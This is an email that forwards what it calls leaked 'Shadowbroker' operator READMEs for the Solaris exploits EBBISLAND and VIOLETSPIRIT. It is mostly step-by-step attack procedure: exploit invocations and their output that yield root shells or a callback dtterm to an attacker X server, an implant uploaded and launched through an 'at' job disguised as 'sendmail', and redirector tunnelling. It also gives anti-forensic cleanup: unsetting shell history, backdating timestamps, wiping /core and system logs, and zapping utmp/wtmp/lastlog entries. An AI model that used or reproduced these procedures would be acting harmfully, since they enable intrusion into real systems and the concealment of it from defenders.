<div dir="ltr"><div><div><br></div><div>I went through the Shadowbroker.zip file they released. It&#39;s like, super old boring crap but the following readme&#39;s were mistakenly included it seems. I&#39;ll hit a few enters if you don&#39;t want to read it because you have clearance. </div><div>-dave</div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div># as of: 2010-07-29 18:01:21 EDT </div><div><br></div><div><br></div><div># EBBISLAND</div><div># (Exploit for Solaris 2.6, 2.7, 2.8, 2.9 and 2.10)</div><div><br></div><div># First ensure that the vulnerable rpc service is running. You must</div><div># be able to reach the target system&#39;s TCP port that the designated target RPC</div><div># is listening upon. </div><div><br></div><div># EBBISLAND USAGE.</div><div><br></div><div># ebbisland: (-A &lt;address&gt;) Shellcode address</div><div>#  </div><div># ebbisland: (-C) /core file overwriter/scrambler. This option throws the attack, but uses pseudo-random</div><div>#            binary data in place of the actual shellcode, to produce a /core file free of suspicious</div><div>#            content. This would be used in the case where EBBISLAND failed to successfully exploit the</div><div>#            target, and the operator wanted to try and &quot;purify&quot; the file left in /core before quitting.</div><div>#  </div><div># ebbisland: (-c &lt;procnum&gt;) Procedure number.  Defaults to 0. </div><div>#  </div><div># ebbisland: (-D) For and extra dummy connection</div><div>#  </div><div># ebbisland: (-N) Use for non-inetd started services (i.e. rpc.bootparamd)</div><div>#  </div><div># ebbisland: (-M &lt;mtu&gt;) Choose size of data part of packet to send.  Default is 1260.  This could effect</div><div>#            the landing zone size. </div><div>#  </div><div># ebbisland: (-P &lt;prog&gt;) Optional prog to exec, re-using exploit socket. </div><div>#  </div><div># ebbisland: (-r &lt;prognum&gt;) RPC program number </div><div>#  </div><div># ebbisland: (-s &lt;source port&gt;)  </div><div>#  </div><div># ebbisland: (-V) Provides verbose outputs, where appropriate and desired.</div><div>#  </div><div># ebbisland: (-X | -F) -X For indirect/xdr_replymsg programs, and -F for others</div><div><br></div><div># *********************************************************************************************</div><div><br></div><div><br></div><div>mx</div><div>:%s,SERVICE_TCP_PORT,SERVICE_TCP_PORT,g</div><div>:%s,TARGET_RPC_SERVICE,100026,g</div><div>:%s,TARGET_IP,TARGET_IP,g</div><div>:%s,SPECIFIC_SHELLCODE_ADDRESS,SPECIFIC_SHELLCODE_ADDRESS,g</div><div>`x</div><div><br></div><div># Scanning:</div><div><br></div><div>-scan brpc TARGET_IP</div><div><br></div><div># Redirector:</div><div><br></div><div>-tunnel</div><div>l SERVICE_TCP_PORT TARGET_IP</div><div><br></div><div><br></div><div># Exploit:</div><div># ./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908</div><div>./ebbisland -t 127.0.0.1 -p SERVICE_TCP_PORT -r TARGET_RPC_SERVICE -X -N -A SPECIFIC_SHELLCODE_ADDRESS</div><div><br></div><div>./ebbisland -t 127.0.0.1 -p 32794 -r 100026 -X -N -A 0x6e908</div><div> </div><div>********************************************************************************** </div><div>Exploit will provide ROOT shell access via same tunnel/session (no callback, no listen).</div><div><br></div><div># EXPLOIT WINDOW</div><div><br></div><div>unset HISTSIZE</div><div>unset HISTFILESIZE</div><div>unset HISTFILE</div><div>w</div><div>pwd</div><div>id</div><div>which uudecode uncompress at</div><div>cd /tmp</div><div>ls -alrt</div><div>mkdir /tmp/.scsi</div><div>cd /tmp/.scsi</div><div>pwd</div><div><br></div><div>ls -lart</div><div><br></div><div># Usual method of running NOPEN fails with EBBISLAND</div><div>#  we use an at command to do so.</div><div><br></div><div># NORMAL LOCATION FOR AT FILES</div><div><br></div><div>ls -lart /var/spool/cron</div><div>ls -lart /var/spool/cron/atjobs</div><div><br></div><div># PRESERVE THE DATE FROM BEFORE THE AT JOB</div><div><br></div><div>touch -r /var/spool/cron/atjobs x</div><div><br></div><div># LOCALLY</div><div><br></div><div>packrat -l </div><div>gedit /current/up/sendmail.Z.uu</div><div><br></div><div><br></div><div># EXPLOIT WINDOW</div><div><br></div><div>/usr/bin/uudecode; ls -latr</div><div><br></div><div># select all/copy gedit contents into Target exploit window, then:</div><div>uncompress sendmail.Z</div><div>ls -l</div><div>chmod 700 sendmail</div><div><br></div><div># EXPLOIT WINDOW (CREATING AT JOB)</div><div><br></div><div>echo &quot;PATH=. D=-ulrandom11111-55555-2 sendmail&quot; | at now</div><div>netstat -an | grep random11111-55555-2</div><div><br></div><div># TOUCH THE ATJOBS FILE BACK TO BEFORE TIME</div><div><br></div><div>touch -r x /var/spool/cron/atjobs</div><div><br></div><div># VERIFY TIMES FROM BEFORE</div><div><br></div><div>ls -lart /var/spool/cron</div><div>ls -lart /var/spool/cron/atjobs</div><div><br></div><div><br></div><div># FROM REDIRECTOR</div><div><br></div><div>-nstun TARGET_IP:random11111-55555-2</div><div><br></div><div><br></div><div>******************************************************************************* </div><div><br></div><div>CLEANING.</div><div><br></div><div>/core</div><div>/var/adm/messages</div><div><br></div><div><br></div><div>*  The correct EBBISLAND attack for the remote target architecture must be used, or else the attack will fail.</div><div>*  Use -C option to clean failures remotely if we never get on.</div><div><br></div><div># Logging considerations: Quite a few log messages will be generated on the target as each subsequent</div><div># attempt fails, most likely written to the /var/adm/messages file. These could include messages similar to...</div><div><br></div><div>Sep 27 14:37:23 target inetd[146]: [ID 858011 daemon.warning] /platform/SUNW,Ultra-Enterprise-10000/lib/dr_daemon: Illegal Instruction</div><div>Sep 27 14:37:24 target dr_daemon[23501]: [ID 629332 daemon.notice] dr_daemon attempting AP interaction</div><div>Sep 27 14:37:24 target dr_daemon[23501]: [ID 264428 daemon.error] ld.so.1: dr_daemon: fatal: libap.so: open failed: No such file or directory</div><div>Sep 27 14:37:24 target dr_daemon[23501]: [ID 355200 daemon.error] dr_daemon operating in NO AP interaction mode</div><div>Sep 27 14:37:24 target dr_daemon[23501]: [ID 309875 daemon.notice] NOTICE: recovered old state file &#39;/tmp/.dr_extra_info&#39;</div><div>Sep 27 14:43:10 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped</div><div>Sep 27 14:43:11 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped</div><div>Sep 27 14:43:13 target last message repeated 1 time</div><div>Sep 27 14:43:14 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Illegal Instruction - core dumped</div><div>Sep 27 14:43:15 target inetd[146]: [ID 858011 daemon.warning] /usr/openwin/bin/kcms_server: Segmentation Fault - core dumped</div><div>Sep 27 14:43:17 target last message repeated 2 times</div><div>Sep 27 14:43:55 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Illegal Instruction - core dumped</div><div>Sep 27 14:43:56 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Bus Error - core dumped</div><div>Sep 27 14:43:57 target inetd[146]: [ID 858011 daemon.warning] /usr/sbin/rpc.metad: Segmentation Fault - core dumped</div><div>-----</div></div><div><br></div><div>mx</div><div>:%s/PITCH_IP/PITCH_IP/g</div><div>:%s/TARGET_IP/TARGET_IP/g</div><div>:%s/HOST_NAME/HOST_NAME/g</div><div>:%s/DOMAIN_NAME/DOMAIN_NAME/g</div><div>:%s/RAT_NAME/RAT_NAME/g</div><div>:%s/RHP-22/RHP-22/g</div><div>:%s/RHP-23/RHP-23/g</div><div>:%s/RHP-24/RHP-24/g</div><div>:%s/WORK_DIR/WORK_DIR/g</div><div>`x</div><div><br></div><div>### If ratload fails, use doubleT</div><div># wrap-telnet.sh -l REDIRECTIP -p RHP-22 -s RHP-23 -x RHP-24</div><div># xc -x REDIRECTIP -y RHP-24 -s REDIRECTIP 127.0.0.1</div><div># doubleT -i PITCH_IP -t RHP-22 RHP-23</div><div># -tunnel</div><div># u 177 TARGET_IP</div><div># r RHP-22</div><div># r RHP-23</div><div># r RHP-24</div><div><br></div><div># On redirector - set up nopen tunnel</div><div><br></div><div>-tunnel</div><div>u 177 TARGET_IP</div><div>r RHP-24</div><div>r RHP-21</div><div>s</div><div><br></div><div>######## use ys.auto first which won&#39;t require you to start separate xc command</div><div>######## selects random ports for you</div><div>######## brings up scripted packrat window</div><div>######## gives pastable -tunnel commands if redirecting</div><div>########  examples:</div><div>####   ys.auto -l 19.16.1.1 -i 10.0.3.1 -n 2222 -r nscd -x 9999 -d /tmp/.dir</div><div>####   ys.auto -i 10.0.3.1</div><div>####   ys.auto -i TARGET_IP -l REDIRECTOR_IP</div><div>#######&lt;ctrl&gt;&lt;c&gt; or &lt;ctrl&gt;&lt;d&gt; on nc window first, then delete all pop-ups</div><div><br></div><div>        #Local window1</div><div>./wrap-sun.sh -l PITCH_IP -r RAT_NAME -p RHP-21 -x RHP-24 -d /tmp/WORK_DIR</div><div>        #hit return</div><div>        # type y and hit return</div><div><br></div><div>        #Local window2</div><div>        # for redirection local ip is redirector ip</div><div><br></div><div>./xc -s PITCH_IP -x PITCH_IP -y RHP-24 TARGET_IP</div><div>        #hit return</div><div>        #hit return</div><div>        #hit return</div><div>        #(At this point you should see a continue.... in your attack1 window</div><div><br></div><div>        #in the attack1 window</div><div>        #hit return</div><div>        #hit return</div><div>        #hit return</div><div><br></div><div>        #(you should see your upload happen...)</div><div><br></div><div>        #Ctrl-C your nc window</div><div>        #Ctrl-C your xc window</div><div>#w/o tunneling</div><div>../bin/noclient TARGET_IP</div><div><br></div><div>#w/ tunneling. In redirector window</div><div>-nstun TARGET_IP</div><div><br></div><div>##### If ratload fails, use doubleT</div><div># wrap-telnet.sh -l REDIRECTIP -p RHP-22 -s RHP-23 -x RHP-24</div><div># xc -x REDIRECTIP -y RHP-24 -s REDIRECTIP 127.0.0.1</div><div># doubleT -i PITCH_IP -t RHP-22 RHP-23</div><div># -tunnel</div><div># u 177 TARGET_IP</div><div># r RHP-22</div><div># r RHP-23</div><div># r RHP-24</div><div>##### otherwise continue</div><div><br></div><div>-rm RAT_NAME</div><div><br></div><div>##### Cleaning up ######</div><div>ps -ef |grep dtlogin</div><div><br></div><div># You should see a recent one : mine was</div><div>kill -9 DTLOGINPORT</div><div><br></div><div>ps -ef |grep dtlogin</div><div><br></div><div>-ls -t /var/dt/</div><div><br></div><div># you will notice Xerrors is the most recent</div><div><br></div><div>-tail /var/dt/Xerrors</div><div><br></div><div># if your entries are the only ones there....</div><div><br></div><div>cat /dev/null &gt;/var/dt/Xerrors</div><div><br></div><div># if there are other entries you will do something like</div><div><br></div><div>wc -l /var/dt/Xerrors</div><div><br></div><div>subtract the number of lines that are because of you from above</div><div><br></div><div>head -(what&#39;s left) &gt; t ; cat t</div><div><br></div><div>if it looks good:</div><div><br></div><div>cat t &gt;/var/dt/Xerrors</div><div>-rm t</div><div><br></div><div>-ls -t /var/adm</div><div>#anything that has a resonably current timestamp you should check</div><div><br></div><div>#toasting the login entries.....</div><div><br></div><div># Target window</div><div>-put ../up/toast t</div><div><br></div><div>### TO VIEW...</div><div>./t -u /var/adm/utmp</div><div>./t -u /var/adm/wtmp | tail -20</div><div>./t -x /var/adm/utmpx</div><div>./t -x /var/adm/wtmpx | tail -20</div><div>./t -l /var/adm/lastlog | tail</div><div><br></div><div>### TO ZAP...</div><div>./t -u /var/adm/utmp tty date</div><div>./t -u /var/adm/wtmp tty date</div><div>./t -x /var/adm/utmpx tty date</div><div>./t -x /var/adm/wtmpx tty date</div><div>--------------------------------------------------------------------------</div><div><br></div><div><div>VIOLETSPIRIT can be used against versions 4 and 5 of the &quot;ttsession&quot; </div><div>daemon found in the Common Desktop Environment (CDE) Solaris 2.X, on both SPARC</div><div>and x86 platforms.  As of this writing (21 May 2003), it has been successfully </div><div>tested against...</div><div><br></div><div>    Solaris 2.6 SPARC (&quot;ttsession&quot; version 4)</div><div>    Solaris 2.6 x86   (&quot;ttsession&quot; version 4)</div><div>    Solaris 2.7 SPARC (&quot;ttsession&quot; versions 4 and 5)</div><div>    Solaris 2.7 x86   (&quot;ttsession&quot; versions 4 and 5)</div><div>    Solaris 2.8 SPARC (&quot;ttsession&quot; version 5)</div><div>    Solaris 2.8 x86   (&quot;ttsession&quot; version 5)</div><div>    Solaris 2.9 SPARC (&quot;ttsession&quot; version 5)</div><div>    Solaris 2.9 x86   (&quot;ttsession&quot; version 5)</div><div><br></div><div>The VIOLETSPIRIT exploit, if successful, sets up a &quot;dtterm&quot; terminal</div><div>connected to an X server of your choice over a TCP connection.  VIOLETSPIRIT</div><div>can also be redirected via various redirection tools.</div><div><br></div><div>Platform-specific run-time instructions can be found below. I give</div><div>1 example for a version 4 exploit, and 1 example for a version 5 exploit, as</div><div>they involve slightly different processes.  A version 4 exploit involves just</div><div>an attack, while a version 5 involves a bit more...</div><div><br></div><div>=============================================================================</div><div>=============================================================================</div><div>(Solaris 2.6 SPARC target, &quot;ttsession&quot; version 4)............................</div><div><br></div><div>###### Are they vulnerable???</div><div>$ rpcinfo -p 555.1.9.56</div><div>.</div><div>.</div><div>.</div><div>1342177279    4   tcp  32786</div><div>1342177279    1   tcp  32786</div><div>1342177279    3   tcp  32786</div><div>1342177279    2   tcp  32786</div><div>$</div><div><br></div><div>## Okay, he looks like a Solaris 2.6 box, running &quot;ttsession&quot; version 4...</div><div>## </div><div>## What options do we have?</div><div>$ ./vs.attack.linux</div><div>Please specify tgt IP address and hostname</div><div>Usage: ./vs.attack.linux -i tgt_ipaddr -h tgt_hostname -x xserver_port</div><div>  optional args:</div><div>    [-c cb_ipaddr]   : default use my ip addr</div><div>    [-p cb_port]     : callback port (default random)</div><div>    [-n tcp_port]    : default use portmapper to determine</div><div>    [-7]               use Solaris 7+ default ttsession program number 1289637086(0x4cde4cde)</div><div>                     : default use Solaris 6- ttsession program number 1342177279(0x4fffffff)</div><div>    [-r rpcprognum]  : ttsession program number if different from defaults</div><div>    [-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5</div><div>    [-T seconds]       set approx time at which target ttsession started for version 5 rpc</div><div>                       time is in seconds since epoch</div><div>    [-t microsecs]     refine approx time at which target ttsession started</div><div>                       time is in microseconds</div><div>    [-q xserver_ip]    default &lt;my ip&gt;</div><div>$ </div><div><br></div><div>## For Solaris 2.6, version 4...to display a &quot;dtterm&quot; back to the</div><div>##   X server at 555.1.2.48:0.0...</div><div>$ ./vs.attack.linux -i 555.1.9.56 -h murray -q 555.1.2.48 -x 6000 -n 32786</div><div>Client created</div><div><br></div><div>rendez ip is set to 555.1.2.48</div><div><br></div><div>tgt ttsession is using port 32786</div><div><br></div><div>Got from target: TT Session ID: P 01 354 1342177279 1 0 0 555.1.9.56 4</div><div><br></div><div>TT Session is using program number 0x4fffffff</div><div><br></div><div>TT Session is process id 354 being run by uid 0</div><div><br></div><div>  continue ...</div><div><br></div><div>## VIOLETSPIRIT prompts the user at several points, to establish visual</div><div>##   verification of the protocol interactions before proceeding to the</div><div>##   next step.  Assuming everything looks okay, just hit the &quot;Enter&quot; key</div><div>##   at the &quot;continue...&quot; prompt to keep on going...</div><div><br></div><div>Got from target: TT Process ID: 1._jhjr</div><div><br></div><div>TT session start time 1052162933 Mon May  5 14:28:53 2003</div><div><br></div><div>TT pid 1</div><div><br></div><div>  continue ...</div><div><br></div><div>Associate process id</div><div><br></div><div>assoc_process_id: starting cookie time at 1052162933 0</div><div>port 33721 (0x83b9) bound for listening</div><div><br></div><div><br></div><div>Mon May  5 15:42:22 2003</div><div><br></div><div>Going for cb accept</div><div>Done cb acccept</div><div><br></div><div>Your Xserver should be running on 555.1.2.48 port 6000</div><div><br></div><div>About to tell the target to create a DT Terminal on DISPLAY 547725836848:67108864.1097364144128</div><div><br></div><div>  continue ...</div><div><br></div><div>## Okay...when you hit &quot;Enter&quot; here, the target will attempt to display</div><div>##   a &quot;dtterm&quot; back to your prespecified X server...better have one up</div><div>##   and waiting...</div><div><br></div><div>SDT_go_term - got success on cb</div><div>SDT_go_term done</div><div>0x00000000</div><div>0x00000001</div><div>&gt;&gt;&gt; BITS 0x01120635</div><div>0x01 = 0</div><div>STATE = 5 TT_STARTED</div><div>0x10 = 1</div><div>0x20 = 2</div><div><br></div><div><br></div><div>0x200 RESULT = 0</div><div>No of args = 00000000</div><div><br></div><div>0x00000400 = 00000008</div><div><br></div><div>Handler P Type: SDT_Terminal</div><div>No of contexts = 00000001</div><div><br></div><div>$DISPLAY: 0x00000000 arg type 3 string: 0xffffffff c type 2 &quot;547725836848:67108864.1097364144128&quot;</div><div>More data = 00000016</div><div><br></div><div>## At this point, after a short delay, you should see a &quot;dtterm&quot; pop up on</div><div>##   your prespecified X server.  Watch the &quot;tcpdump&quot; window...you&#39;ll see </div><div>##   _lots_ of TCP traffic being exchanged between your X server and the</div><div>##   target...</div><div><br></div><div><br></div><div>All done - press return to close down the tcp stream</div><div><br></div><div>## Hit &quot;Enter&quot; one more time, for a graceful closeout of VIOLETSPIRIT.</div><div><br></div><div>$ </div><div><br></div><div>=============================================================================</div><div>=============================================================================</div><div>(Solaris 2.9 x86 target, &quot;ttsession&quot; version 5)............................</div><div><br></div><div>###### Are they vulnerable???</div><div>$ rpcinfo -p 555.1.3.42</div><div>  program vers proto   port</div><div>.</div><div>.</div><div>.</div><div>1289637086    5   tcp  33143</div><div>1289637086    1   tcp  33143</div><div><br></div><div>$ </div><div><br></div><div>## Okay, he looks like a Solaris 2.7+ box, running &quot;ttsession&quot; version 5...</div><div>## </div><div>## First we need to get the times for the magic cookie for the attack to work</div><div>## What options do we have?</div><div><br></div><div>## Because the &quot;gettime&quot; binary is uploaded to targets, no usage is ever printed </div><div>## But here are the options:</div><div><br></div><div>$ ./vs.gettime.sol.sparc</div><div>Please specify tgt IP address and hostname</div><div>Usage: ./vs.get.sol.sparc -i tgt_ipaddr -h tgt_hostname</div><div>  optional args:</div><div>    [-c cb_ipaddr]   : default use my ip addr</div><div>    [-p cb_port]     : callback port (default random)</div><div>    [-n tcp port]    : default use portmapper to determine</div><div>    [-r rpcprognum]</div><div>    [-T seconds]       set approx time at which target ttsession started for version 5 rpc</div><div>                       time is in seconds since epoch</div><div>    [-t microsecs]     refine approx time at which target ttsession started</div><div>                       time is in microseconds</div><div><br></div><div>## We&#39;re now getting the times for the magic cookie.  This will take several minutes ON</div><div>## AVERAGE over a fast link, it is STRONGLY discouraged to run this over a dialup</div><div>## connection unless you enjoy staring at slowly printed dots for hours on end.</div><div>## If at all possible, upload this somewhere else and lose the dialup bottleneck.</div><div><br></div><div>## For Solaris 2.7+, version 5...to get the proper times needed for the attack</div><div>$ ./vs.get.sol.sparc -i 555.1.3.42 -h dellosaurus -n 33143</div><div>Client created</div><div><br></div><div>rendez ip is set to 555.1.2.48</div><div><br></div><div>tgt ttsession is using port 33143</div><div><br></div><div>Got from target: TT Session ID: P 01 7449 1289637086 1 1 0 555.1.3.42 5 dellosaurus</div><div><br></div><div>TT Session is using program number 0x4cde4cde</div><div><br></div><div>TT Session is process id 7449 being run by uid 0</div><div><br></div><div>  continue ...</div><div><br></div><div>gss_getinfo returned: 0xffffffff 0xffffffff 0xffffffff</div><div><br></div><div>Got from target: TT Process ID: 1._jiOG</div><div><br></div><div>TT session start time 1052165648 Mon May  5 15:14:08 2003</div><div><br></div><div>TT pid 1</div><div><br></div><div>  continue ...</div><div><br></div><div>## VIOLETSPIRIT prompts the user at several points, to establish visual</div><div>##   verification of the protocol interactions before proceeding to the</div><div>##   next step.  Assuming everything looks okay, just hit the &quot;Enter&quot; key</div><div>##   at the &quot;continue...&quot; prompt to keep on going...</div><div><br></div><div>Associate process id</div><div><br></div><div>assoc_process_id: starting cookie time at 1052165648 0</div><div>Mon May  5 16:21:17 2003</div><div>port 33733 (0x83c5) bound for listening</div><div>.................................................. Mon May  5 16:22:16 2003</div><div>.................................................. Mon May  5 16:23:19 2003</div><div>.................................................. Mon May  5 16:24:19 2003</div><div>.................................................. Mon May  5 16:25:16 2003</div><div>.................................................. Mon May  5 16:26:14 2003</div><div>.................................................. Mon May  5 16:27:11 2003</div><div>.................................................. Mon May  5 16:28:08 2003</div><div>.................................................. Mon May  5 16:29:06 2003</div><div>.................................................. Mon May  5 16:30:04 2003</div><div>.................................................. Mon May  5 16:31:01 2003</div><div>.................................................. Mon May  5 16:31:58 2003</div><div>.................................................. Mon May  5 16:32:56 2003</div><div>.................................................. Mon May  5 16:33:53 2003</div><div>.................................................. Mon May  5 16:34:51 2003</div><div>.........................</div><div><br></div><div>Mon May  5 16:35:20 2003</div><div><br></div><div>Good cookie found using times 1052165648 725142</div><div>$</div><div><br></div><div>## Cool!  We found the times to make the magic cookie.</div><div>## Let&#39;s now see our attack options</div><div>$ ./vs.attack.linux</div><div>Must specify time values with rpc version 5</div><div>Usage: ./vs.attack.linux -i tgt_ipaddr -h tgt_hostname -x xserver_port</div><div>  optional args:</div><div>    [-c cb_ipaddr]   : default use my ip addr</div><div>    [-p cb_port]     : callback port (default random)</div><div>    [-n tcp_port]    : default use portmapper to determine</div><div>    [-7]               use Solaris 7+ default ttsession program number 1289637086(0x4cde4cde)</div><div>                     : default use Solaris 6- ttsession program number 1342177279(0x4fffffff)</div><div>    [-r rpcprognum]  : ttsession program number if different from defaults</div><div>    [-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5</div><div>    [-T seconds]       set approx time at which target ttsession started for version 5 rpc</div><div>                       time is in seconds since epoch</div><div>    [-t microsecs]     refine approx time at which target ttsession started</div><div>                       time is in microseconds</div><div>    [-q xserver_ip]    default &lt;my ip&gt;</div><div>$</div><div><br></div><div>## Now, for the attack...</div><div>$ ./vs.attack.linux -i 555.1.3.42 -h dellosaurus -n 33143 -7 -v 5 -c 555.1.2.48 -q 555.1.2.48 -x 6000 -T 1052165648 -t 725142</div><div>Client created</div><div><br></div><div>rendez ip is set to 555.1.2.48</div><div><br></div><div>tgt ttsession is using port 33143</div><div><br></div><div>Got from target: TT Session ID: P 01 7449 1289637086 1 1 0 555.1.3.42 5 dellosaurus</div><div><br></div><div>TT Session is using program number 0x4cde4cde</div><div><br></div><div>TT Session is process id 7449 being run by uid 0</div><div><br></div><div>  continue ...</div><div><br></div><div>gss_getinfo returned: 0xffffffff 0xffffffff 0xffffffff</div><div><br></div><div>Got from target: TT Process ID: 2._jiOG</div><div><br></div><div>TT session start time 1052165648 Mon May  5 15:14:08 2003</div><div><br></div><div>TT pid 2</div><div><br></div><div>  continue ...</div><div><br></div><div>Associate process id</div><div><br></div><div>assoc_process_id: starting cookie time at 1052165648 725142</div><div>Mon May  5 17:19:13 2003</div><div>port 33737 (0x83c9) bound for listening</div><div><br></div><div><br></div><div>Mon May  5 17:19:13 2003</div><div><br></div><div>Good cookie found using times 1052165648 725142</div><div>Going for cb accept</div><div>Done cb acccept</div><div><br></div><div>Your Xserver should be running on 555.1.2.48 port 6000</div><div><br></div><div>About to tell the target to create a DT Terminal on DISPLAY 547725836848:67108864.1097364144128</div><div><br></div><div>  continue ...</div><div><br></div><div>## EUREKA!!!  When you hit &quot;Enter&quot; here, the target will attempt to display</div><div>##   a &quot;dtterm&quot; back to your prespecified X server...better have one up</div><div>##   and waiting...</div><div><br></div><div>SDT_go_term done</div><div>0x00000000</div><div>0x00000001</div><div>&gt;&gt;&gt; BITS 0x01120635</div><div>0x01 = 0</div><div>STATE = 5 TT_STARTED</div><div>0x10 = 1</div><div>0x20 = 2</div><div><br></div><div><br></div><div>0x200 RESULT = 0</div><div>No of args = 00000000</div><div><br></div><div>0x00000400 = 00000008</div><div><br></div><div>Handler P Type: SDT_Terminal</div><div>No of contexts = 00000001</div><div><br></div><div>$DISPLAY: 0x00000000 arg type 3 string: 0xffffffff c type 2 &quot;547725836848:67108864.1097364144128&quot;</div><div>More data = 00000016</div><div><br></div><div>## At this point, after a short delay, you should see a &quot;dtterm&quot; pop up on</div><div>##   your prespecified X server.  Watch the &quot;tcpdump&quot; window...you&#39;ll see </div><div>##   _lots_ of TCP traffic being exchanged between your X server and the</div><div>##   target...</div><div><br></div><div>All done - press return to close down the tcp stream</div><div><br></div><div>## Hit &quot;Enter&quot; one more time, for a graceful closeout of VIOLETSPIRIT.</div><div><br></div><div>$ </div><div><br></div><div> </div></div><div><br></div></div>